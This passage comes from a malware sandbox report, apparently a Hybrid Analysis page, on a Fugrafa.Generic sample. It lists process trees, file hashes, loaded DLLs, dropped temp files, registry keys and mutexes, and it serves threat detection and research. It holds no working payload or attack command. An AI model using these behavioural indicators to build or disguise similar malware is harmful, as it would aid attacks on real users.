\"%TEMP%\\RarSFX0\\Po.exe\"","sha256":"67715009a6373acc7c2bb491d93c3eddd3d0f989c4c2fb60618e056898e60e49","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00007212","uid":"00000000-00006620"},{"pid":9128,"ppid":7212,"name":"Po.exe","command_line":"","sha256":"ffcff7d72d79ae2e29b87a21186908adf3cd91f3711f9953ed6320dc2a6ecb2b","normalized_path":"%TEMP%\\RarSFX0\\Po.exe","parent_uid":"00000000-00007212","uid":"00000000-00009128"},{"pid":3388,"ppid":7212,"name":"Po.exe","command_line":"","sha256":"ffcff7d72d79ae2e29b87a21186908adf3cd91f3711f9953ed6320dc2a6ecb2b","normalized_path":"%TEMP%\\RarSFX0\\Po.exe","parent_uid":"00000000-00007212","uid":"00000000-00003388"},{"pid":7860,"ppid":7212,"name":"Po.exe","command_line":"","sha256":"ffcff7d72d79ae2e29b87a21186908adf3cd91f3711f9953ed6320dc2a6ecb2b","normalized_path":"%TEMP%\\RarSFX0\\Po.exe","parent_uid":"00000000-00007212","uid":"00000000-00007860"}],"all_imported_dlls":["bcryptprimitives.dll","VxSSL32.dll","dwmapi.dll","ntmarta.dll","System.Numerics.dll","System.Data.dll","wmidcom.dll","oleaut32.dll","TextInputFramework.dll","ntshrui.dll","vcruntime140_clr0400.dll","psapi.dll","AppxSip.dll","System.ServiceModel.Internals.dll","sechost.dll","cldapi.dll","MrmCoreR.dll","System.DirectoryServices.dll","wininet.dll","kernel.appcore.dll","IPHLPAPI.DLL","msvcp_win.dll","clbcatq.dll","aepic.dll","secur32.dll","wbemsvc.dll","Microsoft.CSharp.dll","ws2_32.dll","System.Runtime.Serialization.ni.dll","System.ni.dll","MpOAV.dll","Microsoft.PowerShell.ConsoleHost.dll","fastprox.dll","ncrypt.dll","ntdll.dll","OnDemandConnRouteHelper.dll","user32.dll","comctl32.dll","clrjit.dll","pwrshsip.dll","cryptnet.dll","Microsoft.Management.Infrastructure.Native.dll","System.Configuration.Install.dll","wbemprox.dll","Microsoft.PowerShell.Commands.Utility.dll","Microsoft.Management.Infrastructure.Native.Unmanaged.dll","wbemcomn.dll","rasman.dll","mskeyprotect.dll","WindowsCodecs.dll","nsi.dll","Microsoft.AppV.AppvClientComConsumer.dll","mswsock.dll","slc.dll","System.Management.Automation.dll","rsaenh.dll","bcrypt.dll","cscapi.dll","System.Configuration.ni.dll","System.Xml.ni.dll","dnsapi.dll","rpcrt4.dll","powrprof.dll","propsys.dll","edputil.dll","OneCoreCommonProxyStub.dll","ucrtbase_clr0400.dll","wintrust.dll","Microsoft.BitLocker.Structures.dll","msIso.dll","netutils.dll","crypt32.dll","ntasn1.dll","System.Core.ni.dll","combase.dll","gdi32full.dll","apphelp.dll","OneCoreUAPCommonProxyStub.dll","windows.storage.dll","clr.dll","userenv.dll","OpcServices.dll","SMDiagnostics.dll","sfc_os.dll","gpapi.dll","dhcpcsvc.dll","usp10.dll","msasn1.dll","MpClient.dll","dhcpcsvc6.dll","tiptsf.dll","System.Transactions.dll","dpapi.dll","rtutils.dll","System.Net.Http.ni.dll","rasadhlp.dll","WMINet_Utils.dll","wmiutils.dll","kernel32.dll","gdi32.dll","ole32.dll","version.dll","SHCore.dll","actxprxy.dll","Accessibility.dll","wldp.dll","Windows.StateRepositoryPS.dll","imagehlp.dll","Microsoft.Management.Infrastructure.ni.dll","System.Management.dll","coml2.dll","mi.dll","winhttp.dll","System.Web.Extensions.dll","GdiPlus.dll","System.Drawing.dll","xmllite.dll","System.IdentityModel.dll","win32u.dll","imm32.dll","DWrite.dll","winnsi.dll","ncryptsslp.dll","wow64win.dll","KernelBase.dll","sspicli.dll","msvcrt.dll","uxtheme.dll","cryptsp.dll","pcacli.dll","setupapi.dll","cfgmgr32.dll","iertutil.dll","mpr.dll","System.Windows.Forms.dll","sppc.dll","Microsoft.VisualBasic.dll","FWPUCLNT.DLL","webengine4.dll","ucrtbase.dll","cryptbase.dll","CoreUIComponents.dll","Windows.UI.dll","mscorlib.ni.dll","normaliz.dll","schannel.dll","System.Web.dll","profapi.dll","IconCodecService.dll","CoreMessaging.dll","BCP47Langs.dll","mscoree.dll","rasapi32.dll","advapi32.dll","shell32.dll","shlwapi.dll","System.ServiceModel.dll","wow64cpu.dll","fltLib.dll","msls31.dll","msctf.dll","atl.dll","Microsoft.PowerShell.Commands.Management.dll","System.Dynamic.dll","mscoreei.dll","Microsoft.PowerShell.Security.dll","msisip.dll","wshext.dll","Microsoft.AppV.AppVClientPowerShell.dll","miutils.dll","srvcli.dll","amsi.dll","WinTypes.dll","wow64.dll","riched20.dll","urlmon.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"PO.exe","sha256":"ffcff7d72d79ae2e29b87a21186908adf3cd91f3711f9953ed6320dc2a6ecb2b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"Po.exe.log","sha256":"e44d9a2ed9c1a63c162a13d3e1906145766bb048baa3c87c17f15ddf00ce4982","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"powershell.exe.log","sha256":"c16fa28b088d4a725152b8af9630445496f973c3c562ed4a4464ca357b0041dd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"StartupProfileData-NonInteractive","sha256":"cde6cb0358784961a7cba48b0a219adcd232f8d3568f9eb47c85ef20aae4cb3d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"PO.jpg","sha256":"39f3195908d56ee6d4d0f6484c913bbb268e934121856c590b397bbf7a3573ca","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"tmpCF94.tmp","sha256":"42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"tmpCF95.tmp","sha256":"42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"tmpCFA5.tmp","sha256":"42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"tmpCFB6.tmp","sha256":"42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"tmpCFC7.tmp","sha256":"42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"tmpCFC8.tmp","sha256":"42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"tmpCFD8.tmp","sha256":"1858bc2fe5f501c02080c5700b2a518388ad088fe45b813150a9ba124be647b5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"tmpCFD9.tmp","sha256":"1858bc2fe5f501c02080c5700b2a518388ad088fe45b813150a9ba124be647b5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"tmpCFEA.tmp","sha256":"1858bc2fe5f501c02080c5700b2a518388ad088fe45b813150a9ba124be647b5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"tmpCFEB.tmp","sha256":"1858bc2fe5f501c02080c5700b2a518388ad088fe45b813150a9ba124be647b5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"tmpCFFB.tmp","sha256":"1858bc2fe5f501c02080c5700b2a518388ad088fe45b813150a9ba124be647b5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"tmpCFFC.tmp","sha256":"1858bc2fe5f501c02080c5700b2a518388ad088fe45b813150a9ba124be647b5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"tmpD00D.tmp","sha256":"1858bc2fe5f501c02080c5700b2a518388ad088fe45b813150a9ba124be647b5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"tmpD02D.tmp","sha256":"1858bc2fe5f501c02080c5700b2a518388ad088fe45b813150a9ba124be647b5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"tmpD03E.tmp","sha256":"1858bc2fe5f501c02080c5700b2a518388ad088fe45b813150a9ba124be647b5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]}],"files_written":[{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\RarSFX0","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\RarSFX0\\__tmp_rar_sfx_access_check_908526234","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\RarSFX0\\PO.jpg","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\RarSFX0\\PO.exe","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\Po.exe.log","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_fwshlgf5.dnp.ps1","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_no5bumeb.2p2.psm1","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpCF94.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpCF95.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpCFA5.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpCFB6.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpCFC7.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpCFC8.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpCFD8.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpCFD9.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpCFEA.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpCFEB.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpCFFB.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpCFFC.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpD00D.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpD02D.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpD03E.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpD03F.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpD050.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpD051.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpD10D.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpD10E.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpD12E.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpD12F.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpD140.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpD141.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpD152.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpD162.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpD173.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpD183.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpD194.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpD1A5.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpD1A6.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpD1B6.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpD1B7.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpD1C8.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpD1C9.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpD1CA.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpD219.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"path":"%TEMP%\\tmpD22A.tmp","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"Local\\SM0:5280:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"SM0:5280:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"Local\\SM0:5280:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"SM0:5280:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"Local\\SM0:7212:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"SM0:7212:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"Local\\SM0:7212:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"SM0:7212:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"mVjvCQSzha","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"Local\\SM0:6620:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"SM0:6620:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"Local\\SM0:6620:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"SM0:6620:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"name":"Local\\SM0:7860:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]}]}},"report_ids":{"sandbox_job_ids":["661e47b589f558a5120abe12"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Fugrafa.Generic Sample d97ec62704f6… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample d97ec62704f6…. Malware family: Fugrafa.Generic. Threat score 100/100. 9/26 AV engines flagged this file. 14 malicious and 24 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/d97ec62704f6714c0100506510fda9b8326814aa18612e666b98a343572d54d9"}],["$","meta","4",{"property":"og:title","content":"Malicious Fugrafa.Generic Sample d97ec62704f6… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample d97ec62704f6…. Malware family: Fugrafa.Generic. Threat score 100/100. 9/26 AV engines flagged this file. 14 malicious and 24 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/d97ec62704f6714c0100506510fda9b8326814aa18612e666b98a343572d54d9"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Fugrafa.Generic Sample d97ec62704f6… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample d97ec62704f6…. Malware family: Fugrafa.Generic. Threat score 100/100. 9/26 AV engines flagged this file. 14 malicious and 24 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L62","11",{}]]